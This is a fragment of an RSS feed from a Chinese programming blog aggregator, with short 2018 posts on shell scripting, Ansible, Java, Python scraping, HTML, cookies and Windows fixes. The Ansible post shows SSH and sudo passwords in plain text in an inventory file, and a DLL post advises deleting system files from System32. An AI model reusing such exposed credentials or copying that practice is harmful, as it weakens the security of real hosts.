      <description>众联社保本位码匹配工具2018版操作说明&#xA;一： HIS药品目录准备工作 从医保业务系统导出HIS药品目录&#xA;二：打开 众联社保本位码匹配工具 点击导入&#xA;三： 开始本位码和ypid 码的维护比对工作&#xA;第一步 选择左边待匹配的HIS药品目录 第二步 右边将根据药品名称自动刷新符合条件的数据 第三步 选择符合条件的记录 第四步 点击打勾按钮 第五步 点击是 完成本位码和ypid 码维护&#xA;四： 如需重新维护本位码和ypid 码 则选择匹配完成 查找需要重新维护逇记录，点击取消匹配，即可重新匹配 五：完成好所有的药品本位码和ypid 码的维护工作后 点击导出 生成excel 文件 六：在医保业务系统维护界面 点击导入 七： 完成导入后开始匹配2018年新药品目录&#xA;安装文件下载地址 百度网盘&#xA;https://pan.baidu.com/s/18xCpKpbcqHYxsAOpYu4XiQ</description>
    </item>
    <item>
      <title>linux sell脚本对隐藏目标文件或复杂的文件删除脚本</title>
      <link>https://bchobby.github.io/posts/4385434603b469f7adc3fe4c18f79101/</link>
      <pubDate>Tue, 21 Aug 2018 11:28:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4385434603b469f7adc3fe4c18f79101/</guid>
      <description>删除隐藏目标文件 本章节内容为删除目标文件以及隐藏的文件；还有一些是乱码或者标点符号命名的文件，通过 “ rm -f ” 进行删除的效果不太理想，必须得通过查询文件的号码才能进行删除；做起来的话还是相当麻烦的呢，所以我们开发的这个脚本就用的上场了；对于想删除文件我们只需要输入“序号” 就能将其删除…&#xA;脚本代码…&#xA;[root@deng-131 order]# vim srm.sh #!/bin/bash #用途：用于删除复杂隐藏的文件 #开发者：酋长rosen #联系方式：https://blog.csdn.net/weixin_42867972/ #版本信息：2.0.10 ls -lia | cat -n | tail -n +2 | awk &#39;{print}&#39; #把要当前目录下全部文件以列表的形式显示出来 read -p &#34;请输入要删除文件的序号：&#34; num #输入要删除的文件序号 if [[ $num =~ ^[0-9]{1,4}$ ]] #序号必须是数字输错就直接退出 then id=`ls -lia | cat -n | tail -n +2 | awk &#39;$1==&#39;$num&#39;{print $2}&#39;` #查找删除文件ID号，进行准确删除 find . -inum $id -exec rm {} \; #通过ID号对目标文件执行删除工作 echo -e &#34;</description>
    </item>
    <item>
      <title>Eclipse切换工作空间(workspace)</title>
      <link>https://bchobby.github.io/posts/92f02f0106364bb4e8cf1235004d204a/</link>
      <pubDate>Tue, 21 Aug 2018 10:30:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92f02f0106364bb4e8cf1235004d204a/</guid>
      <description>菜单栏中选择 Files-&amp;gt;witch workspace-&amp;gt;other...,然后选择要切换的工作空间，点击launch即可</description>
    </item>
    <item>
      <title>Java WorkBook对Excel的基本操作</title>
      <link>https://bchobby.github.io/posts/e85ec76eead705d4dbdd5fbb842af08b/</link>
      <pubDate>Mon, 20 Aug 2018 17:57:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e85ec76eead705d4dbdd5fbb842af08b/</guid>
      <description>1、异常java.lang.NoClassDefFoundError: org/apache/poi/UnsupportedFileFormatException&#xA;解决方法：使用的poi的相关jar包一定版本一定要相同！！！！！&#xA;2、maven所使用jar包，没有使用maven的话，就用poi-3.9.jar和poi-ooxml-3.9.jar（这个主要是用于Excel2007以后的版本）两个jar包就行（）&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 3、java导入Excel&#xA;先上传Excel&#xA;//上传Excel @RequestMapping(&#34;/uploadExcel&#34;) public boolean uploadExcel(@RequestParam MultipartFile file,HttpServletRequest request) throws IOException { if(!file.isEmpty()){ String filePath = file.getOriginalFilename(); //windows String savePath = request.getSession().getServletContext().getRealPath(filePath); //linux //String savePath = &#34;/home/odcuser/webapps/file&#34;; File targetFile = new File(savePath); if(!targetFile.exists()){ targetFile.mkdirs(); } file.transferTo(targetFile); return true; } return false; } 在读取Excel里面的内容&#xA;public static void readExcel() throws Exception{ InputStream is = new FileInputStream(new File(fileName)); Workbook hssfWorkbook = null; if (fileName.</description>
    </item>
    <item>
      <title>Ansible普通用户sudo执行指令</title>
      <link>https://bchobby.github.io/posts/eb067d15dc4dba1af205d6a887607b55/</link>
      <pubDate>Mon, 20 Aug 2018 14:34:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb067d15dc4dba1af205d6a887607b55/</guid>
      <description>一、应用场景 1.linux机器都禁止使用root远程登陆，需要ansible来实现切换用户文件分发。&#xA;二、实验步骤 1、配置资源清单hosts文件&#xA;[root@master playbook]# cat /etc/ansible/hosts [test_su] 192.168.1.232 ansible_ssh_user=saas ansible_ssh_pass=&#39;xE#bH2bmot3sz&#39; ansible_become_pass=&#39;9Cg6Rxjlvtfx^&#39; 192.168.1.233 ansible_ssh_user=saas ansible_ssh_pass=&#39;xE#bH2bmot3sz&#39; ansible_become_pass=&#39;9Cg6Rxjlvtfx^&#39; 注意： 密码部分要加单引号在2.5版本，变量也做了变化，ansible_become_pass替换了之前的ansible_sudo_pass or ansible_su_passAnsible普通用户sudo执行指令需要sshpass，使用过程中发现sshpass和synchronize模块冲突，可以使用copy模块代替。 2、Ansile客户端禁止root直接远程登陆，并创建普通用户saas&#xA;[root@master playbook]# grep -i “^PermitRootLogin” /etc/ssh/sshd_config PermitRootLogin no [root@master playbook]# systemctl restart sshd&#xA;3、Ansible服务端分发文件&#xA;[root@master playbook]# ansible test_su -S -R root -m copy -a “src=https://bchobby.github.io/etc/hosts dest=/etc/hosts”&#xA;4.Ansible普通用户sudo执行指令 [root@master playbook]# ansible test_su -S -R root -m shell “whoami”&#xA;5.参数解读 -S, –su run operations with su (deprecated, use become) -R SU_USER, –su-user=SU_USER run operations with su as this user (default=root) (deprecated, use become)</description>
    </item>
    <item>
      <title>小说网站爬虫</title>
      <link>https://bchobby.github.io/posts/a209b7cd0d25b10c6fc7314ec6f2fa2d/</link>
      <pubDate>Mon, 20 Aug 2018 11:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a209b7cd0d25b10c6fc7314ec6f2fa2d/</guid>
      <description>最近刚学完基础部分，写个爬虫充实一下自己。&#xA;#!/usr/bin/python #coding:utf-8 &#39;&#39;&#39; 爬某小说网站 &#39;&#39;&#39; import urllib2 import re from bs4 import BeautifulSoup #根据指定url获取服务器端响应 def OpenPage(url): Myheaders = {} #urllib2.Request 构造请求 req = urllib2.Request(url,headers=Myheaders) #相当于，在浏览器的地址栏，输入了网址 #激活请求，获取响应 f = urllib2.urlopen(req) #服务器端响应类文本对象，通过read()方法读取响应内容 data = f.read() #三种处理方式ignore replace xml..replace return data.decode(&#34;GBK&#34;,errors=&#34;ignore&#34;).encode(&#34;utf-8&#34;) def Test1(): url = &#34;http://www.shengxu6.com/book/2967.html&#34; print OpenPage(url) #从主页解析数据，获取各个章节的跳转链接url def ParseMainPage(page): #调用爬虫库提供的相关方法，进行数据分析 #html.parser python自带的html解析引擎 soup = BeautifulSoup(page,&#34;html.parser&#34;) #find_all方法在全文内容里搜索符合内容的标签，返回一个列表 #检索所有的href属性值中包含read字符串的标签 GetA = soup.find_all(href=re.compile(&#34;read&#34;)) #因为标签内部属性是键值对的方式href=&#34;&#34; #UrlList = [] #for item in GetA: # UrlList.</description>
    </item>
    <item>
      <title>java——开始</title>
      <link>https://bchobby.github.io/posts/3a333d60eeab9297d5ad6412ec4556c5/</link>
      <pubDate>Sun, 19 Aug 2018 22:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a333d60eeab9297d5ad6412ec4556c5/</guid>
      <description>１.编写一个小程序：你好！&#xA;首先创建Java项目project-&amp;gt;创建包package －&amp;gt;类class －&amp;gt;编写类，实现提示&#xA;例如：JSNU2018 －&amp;gt;cn.edu.jsnu.www(小写) －&amp;gt; DomoJsnu&#xA;项目名推荐英文大写&#xA;各种方法和属性（属性没有小括号-名词，方法有）&#xA;package cn.edu.jsnu.www;&#xA;public class Demo2 {&#xA;public static void main(String[] args) {&#xA;// TODO Auto-generated method stub&#xA;//通过类中的主方法&#xA;System.out.println(&#34;hello&#34;);//输出&#xA;}&#xA;}&#xA;//类的第一个字母大写&#xA;2.启动eclipse，设定工作空间&#xA;3.通过右侧open perspective,显示java 和javaee;(选择Java)&#xA;编程包括：&#xA;J2SE -Java To Standard Environment&#xA;J2EE-Java To Enterprise Environment&#xA;J2ME-Java To Mobile Environment&#xA;F2 -重命名（改项目，包，类名，方法名，属性）&#xA;F5 -刷新&#xA;【注意】类名必须与Java源代码名字相同。&#xA;如:DEMOJANU -DEMOJANU.JAVA&#xA;格式问题：&#xA;Java源代码：*.Java（星号代码任意字符）&#xA;Java编译类格式：*.class&#xA;Java的包格式：*.jar -&amp;gt;*.war *.exe&#xA;编写-&amp;gt;完成编译（run as java1 ）-&amp;gt;在控制台console显示结果&#xA;【ECLIPSE优化】&#xA;1.字体调整</description>
    </item>
    <item>
      <title>java——工具与配置</title>
      <link>https://bchobby.github.io/posts/770588b09a4db60b0f8815734c5d4041/</link>
      <pubDate>Sun, 19 Aug 2018 21:33:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/770588b09a4db60b0f8815734c5d4041/</guid>
      <description>一.基本工具的使用&#xA;1.下载编码神器 SUBLIME TEXT&#xA;2.掌握SUBLIME常用快捷键&#xA;ctrl + shift + d ---------复制这行文本&#xA;Ctrl+ Shift+ v 进行自适应缩进的粘贴&#xA;ctrl + shift + P ------------------命令模式&#xA;ctrl + / ---------------------注释&#xA;ctrl+shift+/----------------多行注释&#xA;ctrl + 滚动 --------------字体变大/缩小&#xA;ctrl + N-------------------新建&#xA;ctrl + d ---------------多行游标选择 可以搭配 ctrl + K取消选择部分游标&#xA;产生游标的另外一种方式，按住Shift + 鼠标右键拖动光标&#xA;ctrl+光标 ---------------快速复写&#xA;ctrl+o --------------打开&#xA;ctrl+h --------------替换&#xA;ctrl+a --------------全选&#xA;alt+f3----------------光标在单词后，多选这个单词&#xA;eclipse alt +/------------代码提示&#xA;[Sublime配置流程]:&#xA;下载Sublime-&amp;gt;解压-&amp;gt;添加或删除右键菜单-&amp;gt;添加成功-&amp;gt;找到&#34;s&#34;标志的主程序-&amp;gt; 右击发送到桌面“快捷方式” -&amp;gt;通过桌在启动程序-&amp;gt;通过“首选项”调整色彩方案（Color Scheme）&#xA;-&amp;gt;通过“查看”调整布局 -&amp;gt;通过“文件”，设置文件编码和保存编码 -&amp;gt;采用UTF8或GBK编码。&#xA;UTF-8或UTF8 -万国码 -世界通用编码格式，支持全球主要语言（含中文）&#xA;GBK或GB2312 -中国标准码 -GBK（国标扩-中国国家标准扩展集）中国常用的新标准字符集</description>
    </item>
    <item>
      <title>并发编程（volatile关键词，实现重入锁）</title>
      <link>https://bchobby.github.io/posts/4c81520f512a0549d7fdae1421ca0824/</link>
      <pubDate>Sun, 19 Aug 2018 20:32:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c81520f512a0549d7fdae1421ca0824/</guid>
      <description>1.关键词volatile的理解 首先我们看看如下代码：&#xA;public class Voliate { private static int MAX_VALUE = 5; private static int init_value = 0; public static void main(String[] args) { new Thread(()-&amp;gt;{ int localValue = init_value; while (localValue &amp;lt;= MAX_VALUE){ if(init_value != localValue){ System.out.println(&#34;the init_value is updated : &#34; + init_value); localValue = init_value; } } },&#34;Reader&#34;).start(); new Thread(()-&amp;gt;{ int localValue = init_value; while (localValue &amp;lt;= MAX_VALUE){ System.out.println(&#34;the init_value is changed : &#34; + localValue ++); init_value = localValue; try { TimeUnit.</description>
    </item>
    <item>
      <title>无法启动此程序，因为计算机中丢失 api-ms-win-crt-runtime-l1-1-0.dll 的解决办法</title>
      <link>https://bchobby.github.io/posts/895eb38350e0092395ad994a60887c4f/</link>
      <pubDate>Sun, 19 Aug 2018 19:34:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/895eb38350e0092395ad994a60887c4f/</guid>
      <description>目录&#xA;问题&#xA;解决 安装Visual C++ Redistributable for Visual Studio 2015 组件&#xA;注意（删除已有dll文件）&#xA;问题 安装软件过程中，系统弹出&#34;无法启动此程序，因为计算机中丢失 api-ms-win-crt-runtime-l1-1-0.dll&#34;，尝试重新安装该程序来解决此问题&#xA;解决 安装Visual C++ Redistributable for Visual Studio 2015 组件 api-ms-win-crt-runtime组件为 MFC 的运行时环境的库，是用微软的visual studio C++编译的，底层也会用到微软提供的C++库和runtime库，安装Visual C++ Redistributable for Visual Studio 2015 组件即可解决此问题&#xA;注意（删除已有dll文件） 安装前必须先删掉C:\Windows\System32和C:\Windows\SysWOW64 下，Windows中已有的api-ms-win-crt-runtime-l1-1-0.dll组件，因为VC redit.exe 安装完成会重新生成该组件。如果有就直接删除，如果不放心的话，可以先备份</description>
    </item>
    <item>
      <title>期望与概率DP专题/高斯消元</title>
      <link>https://bchobby.github.io/posts/0301eb5a5aa0828555765da26927d20a/</link>
      <pubDate>Sun, 19 Aug 2018 14:16:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0301eb5a5aa0828555765da26927d20a/</guid>
      <description>高斯消元&#xA;总结：概率和期望问题的求解都要依靠递推式，概率问题按照递推式进行dp，期望问题根据递推式化简的难易程度通过化简再dp或高斯消元求解，该类问题大部分仍属于各个类型的dp求解问题&#xA;2018.9.3-概率与期望dp学习&#xA;Discovering Gold&#xA;一排1到n的格子，每个格子上有黄金 ai ,你最开始在 1 号,每一次投骰子决定到哪一个格子，超出1~n范围则重新投掷，你到了哪个格子就得到哪个格子的金币，问最终在n 能得到金币的期望&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; const int MAX=1e2+5; int a[MAX]; double dp[MAX]; int t,n; int main() { scanf(&#34;%d&#34;,&amp;amp;t); for(int tc=1;tc&amp;lt;=t;++tc) { memset(dp,0,sizeof(dp)); scanf(&#34;%d&#34;,&amp;amp;n); for(int i=1;i&amp;lt;=n;++i) scanf(&#34;%d&#34;,&amp;amp;a[i]); dp[1]=1.0; for(int i=1;i&amp;lt;n;++i) { for(int j=1;j&amp;lt;=6&amp;amp;&amp;amp;i+j&amp;lt;=n;++j) { int tmp=6; if(i+6&amp;gt;n) tmp=n-i; dp[i+j]+=dp[i]/tmp; } } double ans=0; for(int i=1;i&amp;lt;=n;++i) ans+=dp[i]*a[i]; printf(&#34;Case %d: %f\n&#34;,tc,ans); } return 0; } HDU3366 Passage&#xA;有n扇门和m枚金币，每扇门后有3种可能：1.出路概率p，2.另一扇门概率1-p-q，3.失去一枚金币并且出现另一扇门概率q，门可选择，求在最优选择情况下找到出路得概率&#xA;根据p/q从大到小对每扇门排序即为最优策略，注意q可能的值为0，需eps处理&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; const int MAX=1e3+5; const double eps=1e-16; double dp[MAX][15],ans; int t,n,m; struct P { double p,q; }a[MAX]; inline bool cmp(P&amp;amp; x,P&amp;amp; y) { return (x.</description>
    </item>
    <item>
      <title>html基础笔记</title>
      <link>https://bchobby.github.io/posts/5277e2e394b7158dfe3f61dc14180ff5/</link>
      <pubDate>Sun, 19 Aug 2018 14:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5277e2e394b7158dfe3f61dc14180ff5/</guid>
      <description>课程大纲：&#xA;HTML基础列表，表格，框架表单初始CSSCSS美化页面元素制作完成项目 &amp;lt;strong&amp;gt;&amp;lt;strong/&amp;gt;&#xA;&amp;lt;em&amp;gt;&amp;lt;em/&amp;gt;&#xA;&amp;lt;hr/&amp;gt;&#xA;&amp;lt;br/&amp;gt;&#xA;&amp;amp;nbsp&#xA;此时将a01格子跨列成两格&#xA;此时将b01格子跨列成两格&#xA;锚：&amp;lt;a name=&#34;top&#34;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&#34;#top&#34;&amp;gt;返回顶部&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head lang=&#34;en&#34;&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;这是我的第一个标题&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;a name=&#34;top&#34;&amp;gt;&amp;lt;/a&amp;gt; 这是我的第一个网页 &amp;lt;h1&amp;gt;这是标题一&amp;lt;/h1&amp;gt; &amp;lt;h2&amp;gt;这是标题二&amp;lt;/h2&amp;gt; &amp;lt;hr&amp;gt; &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;加粗&amp;lt;/strong&amp;gt;&amp;lt;em&amp;gt;斜体&amp;lt;/em&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;em&amp;gt;加粗斜体&amp;lt;/em&amp;gt;&amp;lt;/strong&amp;gt;这是&amp;amp;nbsp&amp;amp;nbsp一个段落&amp;lt;br/&amp;gt;这是一个段落这是一个段落这是一个段落&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;这是一个段落这是一个段落这是一个段落这是一个段落这是一个段落这是一个段落这是一个段落这是一个段落这是一个段落&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt; &amp;lt;a href=&#34;#i2&#34;&amp;gt;查看第二张图片&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt; &amp;lt;h2&amp;gt; &amp;lt;a name=&#34;i1&#34;&amp;gt;第一张图片&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &amp;lt;img src=&#34;img/1.jpg&#34; alt=&#34;图片的替换文字&#34; title=&#34;图片的悬停文字1&#34;/&amp;gt; &amp;lt;h2&amp;gt; &amp;lt;a name=&#34;i2&#34;&amp;gt;第二张图片&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &amp;lt;img src=&#34;../img2/1.jpg&#34; alt=&#34;图片的替换文字&#34; title=&#34;图片的悬停文字2&#34;/&amp;gt; &amp;lt;h2&amp;gt; &amp;lt;a name=&#34;i3&#34;&amp;gt;第三张图片&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &amp;lt;img src=&#34;file:///D://实训/img2/1.jpg&#34; alt=&#34;图片的替换文字&#34; title=&#34;图片的悬停文字3&#34;/&amp;gt; &amp;lt;h2&amp;gt; &amp;lt;a name=&#34;i4&#34;&amp;gt;第四张图片&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &amp;lt;img src=&#34;http://p3.so.qhmsg.com/t01ddba1ee73a096568.jpg&#34; alt=&#34;图片的替换文字&#34; title=&#34;图片的悬停文字4&#34;/&amp;gt; &amp;lt;h4&amp;gt;Disc 项目符号列表：&amp;lt;/h4&amp;gt; &amp;lt;ul type=&#34;disc&#34;&amp;gt; &amp;lt;li&amp;gt;苹果&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;香蕉&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;柠檬&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;桔子&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;h4&amp;gt;Circle 项目符号列表：&amp;lt;/h4&amp;gt; &amp;lt;ul type=&#34;</description>
    </item>
    <item>
      <title>如何用防火墙禁止某个软件联网</title>
      <link>https://bchobby.github.io/posts/a919db437fd1d66928c313b209f63014/</link>
      <pubDate>Sat, 18 Aug 2018 11:22:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a919db437fd1d66928c313b209f63014/</guid>
      <description>步骤如下：&#xA;1、点击开始，点击控制面板；&#xA;2、点击windows防火墙；&#xA;3、点击高级设置；&#xA;4、点击出站规则，点击新建规则；&#xA;5、点击程序，点击下一步；&#xA;6、输入ie浏览器所在位置，例如%ProgramFiles% (x86)\Internet Explorer\iexplore.exe，点击下一步；&#xA;7、点击阻止连接，点击下一步；&#xA;8、勾选域、专用和公用，点击下一步；&#xA;9、输入名称，点击完成即可。</description>
    </item>
    <item>
      <title>爬虫基础之会话和Cookies</title>
      <link>https://bchobby.github.io/posts/3540d366d26a689af8cd4f1fecb704a1/</link>
      <pubDate>Fri, 17 Aug 2018 16:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3540d366d26a689af8cd4f1fecb704a1/</guid>
      <description>在浏览网站的过程中，我们经常会遇到需要登录的情况，有些页面只有登录之后才可以访问，而且登录之后可以连续访问很多次网站，但是有时候过一段时间就需要重新登录。还有一些网站，在打开浏览器时就自动登录了，而且很长时间都不会失效，这种情况又是为什么？其实这里面涉及会话和Cookies的相关知识，本节就来揭开它们的神秘面纱。&#xA;1. 静态网页和动态网页 在开始之前，我们需要先了解一下静态网页和动态网页的概念。这里还是前面的示例代码，内容如下：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;This is a Demo&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;container&#34;&amp;gt; &amp;lt;div class=&#34;wrapper&#34;&amp;gt; &amp;lt;h2 class=&#34;title&#34;&amp;gt;Hello World&amp;lt;/h2&amp;gt; &amp;lt;p class=&#34;text&#34;&amp;gt;Hello, this is a paragraph.&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 这是最基本的HTML代码，我们将其保存为一个.html文件，然后把它放在某台具有固定公网IP的主机上，主机上装上Apache或Nginx等服务器，这样这台主机就可以作为服务器了，其他人便可以通过访问服务器看到这个页面，这就搭建了一个最简单的网站。&#xA;这种网页的内容是HTML代码编写的，文字、图片等内容均通过写好的HTML代码来指定，这种页面叫作静态网页。它加载速度快，编写简单，但是存在很大的缺陷，如可维护性差，不能根据URL灵活多变地显示内容等。例如，我们想要给这个网页的URL传入一个name参数，让其在网页中显示出来，是无法做到的。&#xA;因此，动态网页应运而生，它可以动态解析URL中参数的变化，关联数据库并动态呈现不同的页面内容，非常灵活多变。我们现在遇到的大多数网站都是动态网站，它们不再是一个简单的HTML，而是可能由JSP、PHP、Python等语言编写的，其功能比静态网页强大和丰富太多了。&#xA;此外，动态网站还可以实现用户登录和注册的功能。再回到开头提到的问题，很多页面是需要登录之后才可以查看的。按照一般的逻辑来说，输入用户名和密码登录之后，肯定是拿到了一种类似凭证的东西，有了它，我们才能保持登录状态，才能访问登录之后才能看到的页面。&#xA;其实它就是会话和Cookies共同产生的结果，下面我们来一探究竟。&#xA;2. 无状态HTTP 在了解会话和Cookies之前，我们还需要了解HTTP的一个特点，叫作无状态。&#xA;HTTP的无状态是指HTTP协议对事务处理是没有记忆能力的，也就是说服务器不知道客户端是什么状态。当我们向服务器发送请求后，服务器解析此请求，然后返回对应的响应，服务器负责完成这个过程，而且这个过程是完全独立的，服务器不会记录前后状态的变化，也就是缺少状态记录。这意味着如果后续需要处理前面的信息，则必须重传，这导致需要额外传递一些前面的重复请求，才能获取后续响应，然而这种效果显然不是我们想要的。为了保持前后状态，我们肯定不能将前面的请求全部重传一次，这太浪费资源了，对于这种需要用户登录的页面来说，更是棘手。&#xA;这时两个用于保持HTTP连接状态的技术就出现了，它们分别是会话和Cookies。会话在服务端，也就是网站的服务器，用来保存用户的会话信息；Cookies在客户端，也可以理解为浏览器端，有了Cookies，浏览器在下次访问网页时会自动附带上它发送给服务器，服务器通过识别Cookies并鉴定出是哪个用户，然后再判断用户是否是登录状态，然后返回对应的响应。&#xA;我们可以理解为Cookies里面保存了登录的凭证，有了它，只需要在下次请求携带Cookies发送请求而不必重新输入用户名、密码等信息重新登录了。&#xA;因此在爬虫中，有时候处理需要登录才能访问的页面时，我们一般会直接将登录成功后获取的Cookies放在请求头里面直接请求，而不必重新模拟登录。&#xA;好了，了解会话和Cookies的概念之后，我们在来详细剖析它们的原理。&#xA;(1) 会话 在Web中，会话对象用来存储特定用户会话所需的属性及配置信息。这样，当用户在应用程序的Web页之间跳转时，存储在会话对象中的变量将不会丢失，而是在整个用户会话中一直存在下去。当用户请求来自应用程序的Web页时，如果该用户还没有会话，则Web服务器将自动创建一个会话对象。当会话过期或被放弃后，服务器将终止该会话。&#xA;(2) Cookies Cookies指某些网站为了辨别用户身份、进行会话跟踪而存储在用户本地终端上的数据。&#xA;会话维持&#xA;那么，我们怎样利用Cookies保持状态呢？当客户端第一次请求服务器时，服务器会返回一个请求头中带有Set-Cookie字段的响应给客户端，用来标记是哪一个用户，客户端浏览器会把Cookies保存起来。当浏览器下一次再请求该网站时，浏览器会把此Cookies放到请求头一起提交给服务器，Cookies携带了会话ID信息，服务器检查该Cookies即可找到对应的会话是什么，然后再判断会话来以此来辨认用户状态。&#xA;在成功登录某个网站时，服务器会告诉客户端设置哪些Cookies信息，在后续访问页面时客户端会把Cookies发送给服务器，服务器再找到对应的会话加以判断。如果会话中的某些设置登录状态的变量是有效的，那就证明用户处于登录状态，此时返回登录之后才可以查看的网页内容，浏览器再进行解析便可以看到了。&#xA;反之，如果传给服务器的Cookies是无效的，或者会话已经过期了，我们将不能继续访问页面，此时可能会收到错误的响应或者跳转到登录页面重新登录。&#xA;所以，Cookies和会话需要配合，一个处于客户端，一个处于服务端，二者共同协作，就实现了登录会话控制。&#xA;属性结构&#xA;接下来，我们来看看Cookies都有哪些内容。这里以知乎为例，在浏览器开发者工具中打开Application选项卡，然后在左侧会有一个Storage部分，最后一项即为Cookies，将其点开，如图所示，这些就是Cookies。&#xA;可以看到，这里有很多条目，其中每个条目可以称为Cookie。它有如下几个属性。&#xA;Name：该Cookie的名称。一旦创建，该名称便不可更改。Value：该Cookie的值。如果值为Unicode字符，需要为字符编码。如果值为二进制数据，则需要使用BASE64编码。Domain：可以访问该Cookie的域名。例如，如果设置为.zhihu.com，则所有以zhihu.com，结尾的域名都可以访问该Cookie。Max Age：该Cookie失效的时间，单位为秒，也常和Expires一起使用，通过它可以计算出其有效时间。Max Age如果为正数，则该Cookie在Max Age秒之后失效。如果为负数，则关闭浏览器时Cookie即失效，浏览器也不会以任何形式保存该Cookie。Path：该Cookie的使用路径。如果设置为/path/，则只有路径为/path/的页面可以访问该Cookie。如果设置为/，则本域名下的所有页面都可以访问该Cookie。Size字段：此Cookie的大小。HTTP字段：Cookie的httponly属性。若此属性为true，则只有在HTTP头中会带有此Cookie的信息，而不能通过document.cookie来访问此Cookie。Secure：该Cookie是否仅被使用安全协议传输。安全协议有HTTPS和SSL等，在网络上传输数据之前先将数据加密。默认为false。 会话Cookie和持久Cookie&#xA;从表面意思来说，会话Cookie就是把Cookie放在浏览器内存里，浏览器在关闭之后该Cookie即失效；持久Cookie则会保存到客户端的硬盘中，下次还可以继续使用，用于长久保持用户登录状态。&#xA;其实严格来说，没有会话Cookie和持久Cookie之分，只是由Cookie的Max Age或Expires字段决定了过期的时间。因此，一些持久化登录的网站其实就是把Cookie的有效时间和会话有效期设置得比较长，下次我们再访问页面时仍然携带之前的Cookie，就可以直接保持登录状态。&#xA;3. 常见误区 在谈论会话机制的时候，常常听到这样一种误解“只要关闭浏览器，会话就消失了”，这种理解是错误的。可以想象一下会员卡的例子，除非顾客主动对店家提出销卡，否则店家绝对不会轻易删除顾客的资料。对会话来说，也是一样，除非程序通知服务器删除一个会话，否则服务器会一直保留。比如，程序一般都是在我们做注销操作时才去删除会话。</description>
    </item>
    <item>
      <title>VS输入输出重定向的问题</title>
      <link>https://bchobby.github.io/posts/4fa8f86517843ca69328b6663c118f7d/</link>
      <pubDate>Fri, 17 Aug 2018 16:15:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fa8f86517843ca69328b6663c118f7d/</guid>
      <description>参考：https://blog.csdn.net/jiangxinnju/article/details/26081963&#xA;https://blog.csdn.net/qq_29883591/article/details/69183999&#xA;因为在调试时候往往有大量输入不方面，因此引入输入重定向。&#xA;除了在VS项目属性，调试里更改，还可以在源代码中main函数前加入：&#xA;freopen(&#34;in.txt&#34;,&#34;r&#34;,stdin);&#xA;freopen(&#34;out.txt&#34;,&#34;w&#34;,stdout);&#xA;(注意该文件输入输出都存在与.c/.cpp相同的目录下。)</description>
    </item>
    <item>
      <title>rpm包的卸载与安装</title>
      <link>https://bchobby.github.io/posts/3698fe43068a5a95cbe2c83d203950c4/</link>
      <pubDate>Fri, 17 Aug 2018 09:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3698fe43068a5a95cbe2c83d203950c4/</guid>
